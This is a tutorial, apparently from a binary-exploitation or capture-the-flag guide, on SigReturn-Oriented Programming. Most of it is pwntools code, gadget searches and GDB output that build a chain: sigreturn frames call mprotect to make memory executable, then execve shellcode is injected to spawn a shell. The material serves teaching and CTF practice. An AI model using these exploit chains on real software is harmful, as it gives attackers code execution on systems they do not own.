SigReturn-Oriented Programming (SROP)

A special technique in ROP to set all registers only using a syscall

To understand the basics of SROP, read the following pages:

The above example has the requirement of a "/bin/sh" string already being present in the binary. Still, with a bit more complexity you can eliminate this requirement and execute your own shellcode. This technique is taken from the following writeup:

Description

SROP stands for SigReturn-Oriented Programming. This may sound like a completely different technique, but if you already know the basics of Return-Oriented Programming (ROP), it's simply a helpful gadget that exists in most binaries.

It utilizes the rt_sigreturn syscall, normally reserved for returning from the signal handler. It allows the program to reset the state of all registers, taking a sigreturn frame of around 300 bytes from the stack containing all the values. The idea of SROP is to abuse this and write our own sigreturn frame on the stack since we have control over it, and then only call the rt_sigreturn syscall to pop all the values into the registers. This way no more pop; ret gadgets are needed for your registers, as you can set them all at once.

SROP bypasses ASLR (Address Space Layout Randomization) because it does not use any GOT, PLT, or libraries. But it does not bypass PIE (Position Independent Executable) because we require the gadgets in the executable code

Requirements

PwnTools

Of course, PwnTools already has a class that can generate these frames for us, so we don't have to remember the whole layout. On it, we can simply set registers as attributes and unfilled registers will default to 0:

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve()
frame.rdi = BINSH           # pointer to "/bin/sh"
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL         # `syscall` gadget
print(bytes(frame))  # b'\x00\x00\x00\x00\x00\x00\x00\x00...' (248 bytes)

When the rt_sigreturn syscall is called, these bytes on the top of the stack will represent the sigreturn frame. So in a simple ROP chain where you control the rax register to choose the syscall you want to perform, simply set it to 15 (source) and jump to a syscall instruction gadget.

rop = ROP(elf)
rop.rt_sigreturn()  # Let PwnTools find it, otherwise set rax=15 and `syscall`
rop.raw(frame)  # Add sigreturn frame to set registers

payload = flat({
    OFFSET: rop.chain()
})

Exploitation

This will cover a generic scenario, where there aren't many gadgets available for a ROP chain, so it can be applied in multiple situations of SROP. This will assume

Calling sigreturn

The first thing required for SROP is of course being able to perform its syscall. This is done in two steps:

  1. Set the rax register to 15 (0xf)

  2. Jump to syscall

After that is set, you just need to jump to a syscall. This gadget does not even need a ret instruction afterward, because we keep controlling the RIP anyways due to setting all the registers with sigreturn. You can easily find such a gadget with ropper or ROPgadget:

$ ropper -f ./binary --search "syscall"
0x0000000000401014: syscall; 
0x0000000000401014: syscall; ret;

$ ROPgadget --binary ./binary | grep "syscall"
...
0x0000000000401014 : syscall

PwnTools can also find these:

SYSCALL = rop.find_gadget(["syscall"])[0]
print(hex(SYSCALL))  # 0x401014

Then simply combine these into the first ROP chain:

rop = ROP(elf)
rop.rax = 15  # Let PwnTools find a `pop rax; ret` gadget and use it
rop.call(SYSCALL)  # Jump to syscall at `ret`

payload = flat({
    OFFSET: rop.chain()
})

When we trigger this right now, it will do the sigreturn syscall, and try to get the sigreturn frame from the stack, but we haven't provided one yet. So it will just set all the registers to random values on the stack. The next step is providing these values ourselves to control all registers.

Creating a sigreturn frame

PwnTools makes it easy to create a sigreturn frame and control all registers. Now the question remains, what do we set them to? One idea is to do another syscall, but with arguments now that we have control over the rdi, rsi, etc. registers. In the lucky case that there is already a "/bin/sh" string contained in your binary at a known address, you can simply do execve("/bin/sh", 0, 0) to start a shell. See the example SigreturnFrame() above.

More often than not, this string is absent in the binary. This does not mean however that it is impossible to get a shell, as there are many other ways. We could write our own "/bin/sh" string into the memory somehow, or use shellcode instead. We'll go with shellcode here as it doesn't rely on any other gadgets.

Shellcode needs to be written somewhere and then executed in place. This means we need some section in the binary that is writable, and executable. This is not often the case in a binary when NX (Non-eXecutable Stack) is enabled. Because of this, we need to be a bit more clever. Luckily we can already control all the registers and perform arbitrary syscalls, so let's just create a writable and executable piece of memory ourselves using mprotect()! This is the plan:

  1. Use a sigreturn frame to set registers for a mprotect(start, len, prot) syscall, creating a big region of rwx (read-write-execute) memory

  2. Write shellcode to the rwx location

  3. Jump to the written shellcode, and get a shell

There are a few questions left, but let's just start with step one. We want an easy-to-access location where we will make the memory rwx. The call convention for x64 is (rdi, rsi, rdx) (source) and the syscall is determined by rax. We can use the PwnTools for the syscall, and then choose the start of the binary as a simple address to modify. We'll take a big size, because why not, and set the permissions to 111 meaning everything (rwx).

This will set the registers, but after setting the registers we want to execute the mprotect() syscall we created. Luckily we set all registers, including rip, so we can just set it to where we want to jump: to the SYSCALL gadget again:

...
rop.call(SYSCALL)

frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect  # = 10
frame.rdi = elf.address             # start of binary (0x400000)
frame.rsi = 0x10000                 # big size
frame.rdx = 0b111                   # rwx = 7 (chmod binary format)
frame.rip = SYSCALL                 # after setting registers, jump to syscall gadget to execute it
rop.raw(frame)  # sigreturn frame right after the rt_sigreturn syscall

payload = flat({
    OFFSET: rop.chain()
})

Executing this payload, we can step through slowly in GDB to see what happens. The first trigger of the syscall will perform our sigreturn, and right after the registers are set up for another syscall of mprotect(). When the second syscall happened, we can see the result by looking at the permissions of the memory with vmmap:

gef➤ vmmap
Start            End              Offset           Perm Path
0x00000000400000 0x00000000401000 0x00000000000000 rwx ./binary
0x00000000401000 0x00000000402000 0x00000000001000 rwx ./binary
0x007ffff7ca6000 0x007ffff7cc8000 0x00000000000000 rw- [stack]
0x007ffff7cda000 0x007ffff7cde000 0x00000000000000 r-- [vvar]
0x007ffff7cde000 0x007ffff7ce0000 0x00000000000000 r-x [vdso]

Here we see the first few sections were modified to have rwx permissions like we wanted.

Writing shellcode

Now that we made the binary vulnerable, we need to write shellcode at this location, and later jump to it to get a shell. We don't just have a write-anywhere gadget laying around, so we need to be a bit clever again. But we can write something to some memory, using the vulnerable read() function that received the input in the first place. That stores the input on the stack, which we might be able to use.

Another problem is the fact that our binary just crashes right after the second syscall. This is because every register is set, even rsp. We did not explicitly give it a value, so it defaulted to 0. This is obviously not a valid address, so the program does not know where the stack is. When it needs something from the stack, like at the ret instruction right after, it segfaults. So we'll need to give this register a value too if we want to keep the program running.

The value of rsp is a pointer to some address in memory, and the top-most value there will be used as the rip after the ret instruction. So we actually need to set it to a pointer to a pointer to the code we want to execute. This is a bit tricky because where do we find such a value? It turns out, if we look hard enough we can find a pointer to the address of the program entrypoint:

gef➤  grep 0x000000000040104f
[+] Searching '\x4f\x10\x40\x00\x00\x00\x00\x00' in memory
[+] In './binary'(0x400000-0x401000), permission=rwx
  0x400018 - 0x400038"\x4f\x10\x40\x00\x00\x00\x00\x00[...]" 
[+] In './binary'(0x401000-0x402000), permission=rwx
  0x4010f0 - 0x401110"\x4f\x10\x40\x00\x00\x00\x00\x00[...]" 

This perfectly fits our needs. We set the rsp to one of these, and then the ret instruction will pop one value from it, jumping to the entrypoint, and restarting the program. We will also again be able to perform the buffer overflow again to regain control over the Instruction Pointer. The only difference is that now the start of the program (0x400000-0x410000) have rwx permissions, and the stack pointer is at 0x400018 if we choose the first address (this address is close to unmapped memory, so consider choosing the second address here).

In this case, we can kill two birds with one stone. The stack pointer is now pointing to rwx memory, so any input we provide will be stored in that region! We also know the address of our input because we just set the rsp ourselves. Our plan from here on out will be:

  1. Set the rsp to 0x400018 to let the program return back to the start of the program

  2. When we reach the buffer overflow a second time, include shellcode in the input to write it to the stack (rwx memory now)

  3. Finally, overwrite the return address as well to return to our just written shellcode

We can simply add the address to our sigreturn frame:

frame.rsp = 0x400018                # pointer to a pointer to the entrypoint

This will restart the program from the entrypoint, and eventually end up at the buffer overflow again. Then we will put some shellcode in the input, writing it to the stack. In the end we need to jump to the start of our shellcode, but instead of calculating exactly where this will end up, we'll just write it and search for it later:

SHELLCODE = asm(shellcraft.sh())  # Generate /bin/sh shellcode
rop = ROP(elf)

rop.call(0xdeadbeef)  # Replace later with shellcode address in rwx memory

payload = flat({
    OFFSET: [
        rop.chain(),  # Simulate the shellcode situation
        SHELLCODE
    ]
})

Running this payload in GDB, we can analyze exactly where the shellcode ends up. A simple way is to just grep for the hex values again:

print(SHELLCODE.hex())  # 6a6848b82f62696e2f2f2f73504889e7687...

Then we step through the program in GDB, until it tries to ret to the 0xdeadbeef address. This is the time where we would need the location of the shellcode, so let's look for it (searching the hex start, with big endianness):

gef➤  grep 0x6a6848b82f62696e big
[+] Searching '\x6a\x68\x48\xb8\x2f\x62\x69\x6e' in memory
[+] In './binary'(0x401000-0x402000), permission=rwx
  0x4010f8 - 0x401118"\x6a\x68\x48\xb8\x2f\x62\x69\x6e[...]"
gef➤  x/20i 0x4010f8
   0x4010f8:	push   0x68
   0x4010fa:	movabs rax,0x732f2f2f6e69622f
   0x401104:	push   rax
   0x401105:	mov    rdi,rsp
   0x401108:	push   0x1016972
   0x40110d:	xor    DWORD PTR [rsp],0x1010101
   0x401114:	xor    esi,esi
   0x401116:	push   rsi
   0x401117:	push   0x8
   0x401119:	pop    rsi
   0x40111a:	add    rsi,rsp
   0x40111d:	push   rsi
   0x40111e:	mov    rsi,rsp
   0x401121:	xor    edx,edx
   0x401123:	push   0x3b
   0x401125:	pop    rax
   0x401126:	syscall 
   ...

Perfect, it's stored at 0x4010f8, our rwx region. Now we just need to jump to it in our exploit by replacing the 0xdeadbeef:

- rop.call(0xdeadbeef)
+ rop.call(0x4010f8)

This will jump to the shellcode, and execute from there. Then we will have an interactive shell:

p.interactive()

Last updated